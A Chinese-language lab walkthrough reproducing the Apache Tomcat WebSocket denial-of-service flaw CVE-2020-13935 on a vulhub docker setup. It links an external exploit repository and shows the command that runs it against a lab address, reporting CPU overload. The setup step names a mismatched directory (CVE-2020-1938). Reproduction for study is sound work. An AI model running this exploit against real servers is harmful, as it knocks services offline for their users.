# Apache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935

## 漏洞描述

2020年11月06日，360CERT监测发现`@RedTeamPentesting`发布了`Tomcat WebSokcet 拒绝服务漏洞` 的分析报告该漏洞编号为 `CVE-2020-13935` ，漏洞等级：`高危` ，漏洞评分：`7.5` 。

未授权的远程攻击者通过发送 `大量特制请求包` 到Tomcat服务器 ,可造成服务器停止响应并无法提供正常服务

## 漏洞影响

```
Apache Tomcat 10.0.0-M1-10.0.0-M6
Apache Tomcat 9.0.0.M1-9.0.36
Apache Tomcat 8.5.0-8.5.56
Apache Tomcat 7.0.27-7.0.104
```

## 环境搭建

```plain
https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
```

## 漏洞复现

访问目标，查看版本是否在漏洞版本范围内

![image-20220209121434196](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091214338.png)

查看攻击前的内存使用情况

![image-20220209121449971](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091214057.png)

[CVE-2020-13935 EXP地址](https://github.com/RedTeamPentesting/CVE-2020-13935)

- EXP使用需要GO环境

![image-20220209121533320](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091215386.png)

如果出现

```go
go: github.com/gorilla/websocket@v1.4.2: Get "https://proxy.golang.org/github.com/gorilla/websocket/@v/v1.4.2.mod": dial tcp 172.217.160.81:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
```

```plain
需要使用命令切换源
go env -w GOPROXY=https://goproxy.cn
```

使用EXP攻击

```plain
tcdos    ws://192.168.51.133:8080/examples/websocket/echoStreamAnnotation
```

![image-20220209121556989](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091215082.png)

CPU 负荷超载，成功攻击

## 漏洞利用POC

[CVE-2020-13935 EXP地址](https://github.com/RedTeamPentesting/CVE-2020-13935)